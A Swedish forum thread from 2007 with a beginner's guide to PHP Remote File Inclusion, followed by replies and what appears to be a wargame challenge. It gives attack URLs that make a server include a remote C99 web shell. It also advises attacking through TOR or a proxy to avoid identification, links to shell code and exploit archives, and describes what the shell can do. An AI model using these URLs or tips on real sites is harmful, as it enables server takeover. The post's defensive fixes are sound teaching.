• 1
  • 2
2007-04-25, 18:06
  #1
Bannlyst
Jag har ingenting att göra och har inte skrivit något rejält här på Flashback under en längre tid. Därför så jag tänkte att jag kunde ta och lära er lite om vad Remote File Inclusions är för någonting, hur man kan använda det och hur man skyddar sig. Visst finns redan all den här informationen på Internet men jag har i vilket fall inte hittat någon guide som tar upp området på svenska.

Tänk på att ni inte ska defaca webbsidor för att ni lärt er hur RFI fungerar, det kommer inte att ge er någon respekt utan snarare tvärtom.

Annat som bör tänkas på är att ALDRIG attackera en webbserver från egen IP-adress, när man utför det bör man köra TOR (http://tor.eff.org/index.html.se) eller i minsta laget en proxy. Gör man något dumt och ägaren av servern upptäcker detta och skickar en abuse-rapport till
din ISP kan du räkna med att bli avstängd och polisanmäld. Självklart beror det på vem som äger servern och hur denne resonerar kring polisanmälningar av datorintrång, men var i vilket fall alltid på din vakt för man vet aldrig vad som kan hända.

I vilket fall, dags att sätta igång.

Remote File Inclusion är en metod som låter dig köra PHP-shells mot en server och på det sättet låter en hacker ladda upp filer och köra kommandon mot servern. Det är ett förekommande problem på många webbsidor, även om det blir färre och färre. Oftast hittas det i offentliga CMS och PHP-script.

När man hittat ett RFI-hål i en webbsida är det dags att sätta igång och utnyttja det. Just RFI kan utnyttjas genom att man antingen utnyttjar ett PHP-shell som C99 eller liknande, eller att man helt enkelt kör ett kommando direkt mot servern.

När man utnyttjar ett PHP-script genom RFI kan det se ut ungefär såhär:
I index.php finns följande kod:
Kod:
include($variabel . 'file.php');
För att köra C99 eller liknande script mot servern gör ni då som så att ni skriver
Kod:
http://www.webbsida.com/index.php?variabel=http://www.exempel.com/shell.txt

Hur skyddar man sig då? Till att börja bör man fixa till att inte låta användaren
själv välja vilken fil som ska köras i servern. Genom att skippa $variabel och endast köra som följande:
Kod:
include('file.php');
På det sättet låter man inte användaren själv välja vilken fil som ska köras via servern och en RFI-attack är inte möjlig

En annan sak man bör använda sig utav safe_mode (http://php.net/features.safe-mode), vilket förhindrar den som attackerar från att köra kommandon och liknande hur som helst mot servern.

Det där var en simpel genomgång på vad Remote File Inclusion är för någonting och hur man på ett lätt sätt säkrar/utnyttjar det. Jag hoppas att ni förstått grunden i hur det går till och att ni blivit lite klokare inom ämnet än vad ni var tidigare.

Har jag av någon anledning fått med ett grammatiskt eller simpelt stavfel så var snäll och rapportera det i tråden, själv tycker jag att det känns mycket mer seriöst om språket är skrivet på ett så korrekt sätt som möjligt. Jag hoppas även att jag inte glömt någonting som bör tilläggas, rapportera även om det skulle finnas något sådant så kompletterar jag det.

Länkar:
http://www.hacktivist.net/index.php?page=scripts - Kod till PHP-shells.
http://www.milw0rm.com/webapps.php - Här hittar du nya RFI-exploits.
http://php.net/features.safe-mode - Information om safe_mode.
Citera
2007-04-25, 18:24
  #2
Medlem
Alltid kul att läsa något när LifeLong har suttit vid tangenterna.
Citera
2007-04-25, 19:41
  #3
Medlem
lill-mes avatar
Mycket bra guide!
Hoppas man klistrar denna, den kan säkert vägleda många.

Bra är också vTrills minst sagt sjuka avatar
Citera
2007-04-26, 18:22
  #4
Medlem
xobs avatar
bra skrivet! tack så mycket =)
Citera
2007-04-26, 19:35
  #5
Medlem
µTorrents avatar
Fin text lifelong. Bra att du även tar upp hur man skyddar sig mot dessa attacker
Citera
2007-04-29, 14:05
  #6
Medlem
Herr Krattas avatar
Okey, jag är ny här. Jag skulle vilja veta vad C99,php-shell,php-script är för nånting i första hand ?
EDIT:
Måste säga att det var välldigt bra skrivet! (även fast jag undrar om ett par saker)
Citera
2007-04-29, 14:25
  #7
Medlem
xobs avatar
Citat:
Ursprungligen postat av Herr Kratta
Okey, jag är ny här. Jag skulle vilja veta vad C99,php-shell,php-script är för nånting i första hand ?
EDIT:
Måste säga att det var välldigt bra skrivet! (även fast jag undrar om ett par saker)

c99 är ett skal för att ladda up, ladda ner eller radera filer på servern.

från hacktivist.net:
Citat:
This shell if excuted on server will allow access to all drives on
system.
allow you to delete, upload, create files.
edite time stamps. etc.
Citera
2007-04-29, 14:26
  #8
Medlem
DaVajjs avatar
Citat:
Ursprungligen postat av Herr Kratta
Okey, jag är ny här. Jag skulle vilja veta vad C99,php-shell,php-script är för nånting i första hand ?
EDIT:
Måste säga att det var välldigt bra skrivet! (även fast jag undrar om ett par saker)

PHP-Script: Ett skript är en samling instruktioner som följer syntaxen hos ett skriptspråk (PHP är då ett skriptspråk. http://www.wikipedia.com/wiki/PHP). Det som skiljer skriptspråk från programmeringsspråk såsom C/C++ är att skriptspråk tolkas vid körning, medans C/C++ kompileras en gång till maskinkod.

PHP-Shell: Ett php-skal, någonting som underlättar nyttjande av ett system. C99 är exempel på ett skal.
Citera
2007-05-11, 20:55
  #9
Medlem
Zairas avatar
Citat:
Ursprungligen postat av LifeLong

För att köra C99 eller liknande script mot servern gör ni då som så att ni skriver
Kod:
http://www.webbsida.com/index.php?variabel=http://www.exempel.com/shell.txt


okej, sorry om jag framträder idiotiskt.
men ingen föds med lärdom
Iallafall, vad mera exakt är det man kan göra ? hur fungerar det, skulle vilja ha närmare detalierad information om hur man går till väga.

tex: om index ser ut så här,
Source Code:
Kod:
<?php
$file = $_GET['page'];
if($file == "index.php"){
    include "index.php";
}
else{
    // Not index.php so what is it?
    include $file;
}
?>

För övrigt bra skrivet, bara jag som är lite nybörjare och trög
Citera
2007-05-11, 22:06
  #10
Medlem
call3s avatar
Citat:
Ursprungligen postat av Zaira
okej, sorry om jag framträder idiotiskt.
men ingen föds med lärdom
Iallafall, vad mera exakt är det man kan göra ? hur fungerar det, skulle vilja ha närmare detalierad information om hur man går till väga.

tex: om index ser ut så här,
Source Code:
Kod:
<?php
$file = $_GET['page'];
if($file == "index.php"){
    include "index.php";
}
else{
    // Not index.php so what is it?
    include $file;
}
?>

För övrigt bra skrivet, bara jag som är lite nybörjare och trög
Hmm nu vet jag inte om riktigt hur det fungerar "mellan" servrar. kan finnas någon inställning som förbjuder att den laddar in andra servrar (kommer dock inte på vad det heter)
men om vi säger så här.
om du skriver http://www.server.com/index.php?file=index.php så bör du komma till index sidan.
Om du då i stället http://www.server.com/index.php?file...sismyshell.php
så borde det teoretsikt fungera.
prova gärna med typ
http://www.server.com/index.php?file...ww.google.com/ och se vad som händer.
EDIT: här är ett litet paper till
http://milw0rm.com/papers/106



Bra skriven guide i övrigt. kort men konsis 4/5
Citera
2007-05-11, 22:57
  #11
Medlem
Zairas avatar

det hela är en övning, som ska vara lätt

och den har inget förbud, så vitt jag vet.

lite hjälp är:

Basic 4 - Exploit the vulnerable code and some how get a back door to run into the vulnerable page
This test is some harder than the other ones. If you try ?file=index.php an error will show up, That doesn't work. You need to do a Remote File Inclusion and that's the file.

eller

Ok, for this challenge you will want to learn about
Remote File Inclusion
hint:index.php?page=index.php
Maybe the page could be equal to something else?

Citera
2007-05-11, 23:10
  #12
Medlem
call3s avatar
Citat:
Ursprungligen postat av Zaira

det hela är en övning, som ska vara lätt

och den har inget förbud, så vitt jag vet.

lite hjälp är:

Basic 4 - Exploit the vulnerable code and some how get a back door to run into the vulnerable page
This test is some harder than the other ones. If you try ?file=index.php an error will show up, That doesn't work. You need to do a Remote File Inclusion and that's the file.

eller

Ok, for this challenge you will want to learn about
Remote File Inclusion
hint:index.php?page=index.php
Maybe the page could be equal to something else?

aha en tävling. men då borde det jag säger fungera om koden är så.
Citera
  • 1
  • 2

Skapa ett konto eller logga in för att kommentera

Du måste vara medlem för att kunna kommentera

Skapa ett konto

Det är enkelt att registrera ett nytt konto

Bli medlem

Logga in

Har du redan ett konto? Logga in här

Logga in